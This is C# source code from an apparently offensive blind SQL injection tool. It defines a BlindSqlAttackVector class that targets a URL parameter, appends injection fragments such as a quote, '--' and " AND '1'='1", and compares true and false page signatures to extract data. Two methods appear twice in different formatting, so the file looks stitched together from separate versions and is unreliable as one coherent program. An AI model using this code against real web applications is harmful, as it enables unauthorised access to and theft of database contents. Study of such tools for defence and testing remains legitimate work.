///<summary>Creates a BlindSqlAttackVector object</summary>
        ///<param name="Tolerance">The percentage tolerance band to use for comparing signatures</param>
        ///<param name="PluginUsed">The plugin being used for this injection</param>
        ///<returns>An initialized BlindSqlAttackVector</returns>
        public BlindSqlAttackVector BuildBlindSqlAttackVector(float Tolerance, IBlindPlugin PluginUsed)
        {
            ((BlindInjectionOptions)_Options).Tolerance = Tolerance;
            BlindSqlAttackVector bav = new BlindSqlAttackVector(_TargetURL, _VectorName, _VectorBuffer, _AttackParams, _Method, PluginUsed, (BlindInjectionOptions)_Options);

            bav.UserStatus += new UserEvents.UserStatusEventHandler(BubbleUserStatus);
            bav.Initialize();
            bav.UserStatus -= new UserEvents.UserStatusEventHandler(BubbleUserStatus);
            return(bav);
        }
        private BlindSqlAttackVector DeserializeBlindSqlAttackVectorXml(XmlNode VectorNode, BlindInjectionOptions opts, IBlindPlugin PluginUsed)
        {
            double[] TrueSig    = null, FalseSig = null;
            int[]    TrueFilter = null, FalseFilter = null;

            foreach (XmlNode n in VectorNode.ChildNodes)
            {
                switch (n.Name)
                {
                case "truepage":
                    //_ParentOutput("Deserializing True signature.. ");
                    TrueSig = ExtractSignatureFromXml(n);
                    break;

                case "falsepage":
                    //_ParentOutput("Deserializing False signature.. ");
                    FalseSig = ExtractSignatureFromXml(n);
                    break;

                case "truefilter":
                    //_ParentOutput("Deserializing True Filter.. ");
                    TrueFilter = ExtractFilterFromXml(n);
                    break;

                case "falsefilter":
                    //_ParentOutput("Deserializing False filter.. ");
                    FalseFilter = ExtractFilterFromXml(n);
                    break;
                }
            }

            if (TrueSig == null || FalseSig == null || TrueFilter == null || FalseFilter == null)
            {
                return(null);
            }

            string Name   = String.Empty;
            string Buffer = String.Empty;

            if (VectorNode.Attributes["Delimiter"] != null)
            {
                ((BlindInjectionOptions)opts).Delimiter = VectorNode.Attributes["Delimiter"].InnerText;
            }
            if (VectorNode.Attributes["tolerance"] != null)
            {
                opts.Tolerance = System.Single.Parse(VectorNode.Attributes["tolerance"].InnerText);
            }
            if (VectorNode.Attributes["name"] != null)
            {
                Name = VectorNode.Attributes["name"].InnerText;
            }
            if (VectorNode.Attributes["buffer"] != null)
            {
                Buffer = VectorNode.Attributes["buffer"].InnerText;
            }
            if (VectorNode.Attributes["InjectAsString"] != null)
            {
                opts.InjectAsString = System.Boolean.Parse(VectorNode.Attributes["InjectAsString"].InnerText);
            }

            return(new BlindSqlAttackVector(_TargetURL, Name, Buffer, _AttackParams, _Method, PluginUsed, TrueSig, FalseSig, TrueFilter, FalseFilter, opts));
        }
		///<summary>Public constructor for instantiation.</summary>
		///<param name="URL">The URL of the target web application, including file path</param>
		///<param name="VectorName">The name of the parameter to use as the injection point</param>
		///<param name="VectorBuffer">The default value to store in the injectable parameter</param>
		///<param name="AdditionalParams">All parameters (names and values) that are used, but not chosen as injection points</param>
		///<param name="Method">The HTTP connection method. This can be "GET" or "POST"</param>
		///<param name="PluginUsed">The Plugin being used for the connection</param>
		///<param name="TruePage">The signature for the page representing a "true" value</param>
		///<param name="FalsePage">The signature for the page representing a "false" value</param>
		///<param name="TrueFilterIn">The indices of the signature relevant for comparing an unknown to the true signature</param>
		///<param name="FalseFilterIn">The indices of the signature relevant for comparing an unknown to the false signature</param>
		///<param name="Options">The InjectionOptions to use for all requests</param>
		public BlindSqlAttackVector(string URL, string VectorName, string VectorBuffer, NameValueCollection AdditionalParams, string Method, IBlindPlugin PluginUsed,
				double[] TruePage, double[] FalsePage, 
				int[] TrueFilterIn, int[] FalseFilterIn, BlindInjectionOptions Options)
		{
			_ConnectViaPost = String.Equals(Method.ToUpper(), "POST");
			_TargetURL = URL;
			_VectorName = VectorName;
			_VectorBuffer = VectorBuffer;
			_Options = Options;
			_PluginData = PluginUsed;
			
			if (_Options.InjectAsString) _VectorBuffer += "'";
			
			_AttackParams = AdditionalParams;

			TruePageSignature = TruePage;
			FalsePageSignature = FalsePage;
			TrueFilter = TrueFilterIn;
			FalseFilter = FalseFilterIn;
			
			_VectorPostBuffer = String.Empty;
			if (_Options.TerminateQuery)
			{
				_VectorPostBuffer += "--";
			}
			else if (_Options.AppendedQuery.Length > 0)
			{
				_VectorPostBuffer += _Options.AppendedQuery;
			}
			else if (_Options.InjectAsString)
			{
				_VectorPostBuffer = " AND '1'='1";
			}


			_VectorBuffer += " "; // Required so plugins aren't required to add the spaces
			_Proxies = Options.WebProxies;

			ParsePage.UserStatus += new UserEvents.UserStatusEventHandler(BubbleUserStatus);
		}
		///<summary>Public constructor for instantiation.</summary>
		///<param name="URL">The URL of the target web application, including file path</param>
		///<param name="VectorName">The name of the parameter to use as the injection point</param>
		///<param name="VectorBuffer">The default value to store in the injectable parameter</param>
		///<param name="AdditionalParams">All parameters (names and values) that are used, but not chosen as injection points</param>
		///<param name="Method">The HTTP connection method. This can be "GET" or "POST"</param>
		///<param name="PluginUsed">The Plugin being used for the connection</param>
		///<param name="Options">The InjectionOptions to use for all connections</param>
		public BlindSqlAttackVector(string URL, string VectorName, string VectorBuffer, NameValueCollection AdditionalParams, string Method, IBlindPlugin PluginUsed,
				BlindInjectionOptions Options)
		{			
			_Proxies = Options.WebProxies;
			if (PluginUsed == null) UserStatus("Null plugin");
			_PluginData = PluginUsed;
			_Options = Options;			
			_ConnectViaPost = String.Equals(Method.ToUpper(), "POST");
			_TargetURL = URL;
			_VectorName = VectorName;
			_VectorBuffer = VectorBuffer;
			if (_Options.InjectAsString) _VectorBuffer += "'";
			_AttackParams = AdditionalParams;

			ParsePage.UserStatus += new UserEvents.UserStatusEventHandler(BubbleUserStatus);
			//Initialize();//URL, VectorName, VectorBuffer, AdditionalParams, Method);
		}
		private BlindSqlAttackVector DeserializeBlindSqlAttackVectorXml(XmlNode VectorNode, BlindInjectionOptions opts, IBlindPlugin PluginUsed)
		{
			double[] TrueSig = null, FalseSig = null;
			int[] TrueFilter = null, FalseFilter = null;

			foreach (XmlNode n in VectorNode.ChildNodes)
			{
				switch (n.Name)
				{
					case "truepage":
						//_ParentOutput("Deserializing True signature.. ");
						TrueSig = ExtractSignatureFromXml(n);
						break;
					case "falsepage":
						//_ParentOutput("Deserializing False signature.. ");
						FalseSig = ExtractSignatureFromXml(n);
						break;
					case "truefilter":
						//_ParentOutput("Deserializing True Filter.. ");
						TrueFilter = ExtractFilterFromXml(n);
						break;
					case "falsefilter":
						//_ParentOutput("Deserializing False filter.. ");
						FalseFilter = ExtractFilterFromXml(n);
						break;
				}
			}

			if (TrueSig == null || FalseSig == null || TrueFilter == null || FalseFilter == null) return null;
			
			string Name = String.Empty;
			string Buffer = String.Empty;

			if (VectorNode.Attributes["Delimiter"] != null) ((BlindInjectionOptions) opts).Delimiter = VectorNode.Attributes["Delimiter"].InnerText;
			if (VectorNode.Attributes["tolerance"] != null) opts.Tolerance = System.Single.Parse(VectorNode.Attributes["tolerance"].InnerText);
			if (VectorNode.Attributes["name"] != null) Name = VectorNode.Attributes["name"].InnerText;
			if (VectorNode.Attributes["buffer"] != null) Buffer = VectorNode.Attributes["buffer"].InnerText;
			if (VectorNode.Attributes["InjectAsString"] != null)  opts.InjectAsString = System.Boolean.Parse(VectorNode.Attributes["InjectAsString"].InnerText);
 
			return new BlindSqlAttackVector(_TargetURL, Name, Buffer, _AttackParams, _Method, PluginUsed, TrueSig, FalseSig, TrueFilter, FalseFilter, opts);
		}
		///<summary>Creates a BlindSqlAttackVector object</summary>
		///<param name="Tolerance">The percentage tolerance band to use for comparing signatures</param>
		///<param name="PluginUsed">The plugin being used for this injection</param>
		///<returns>An initialized BlindSqlAttackVector</returns>
		public BlindSqlAttackVector BuildBlindSqlAttackVector(float Tolerance, IBlindPlugin PluginUsed)
		{
			((BlindInjectionOptions) _Options).Tolerance = Tolerance;
			BlindSqlAttackVector bav = new BlindSqlAttackVector(_TargetURL, _VectorName, _VectorBuffer, _AttackParams, _Method, PluginUsed, (BlindInjectionOptions) _Options);
			bav.UserStatus += new UserEvents.UserStatusEventHandler(BubbleUserStatus);
			bav.Initialize();
			bav.UserStatus -= new UserEvents.UserStatusEventHandler(BubbleUserStatus);
			return bav;
		}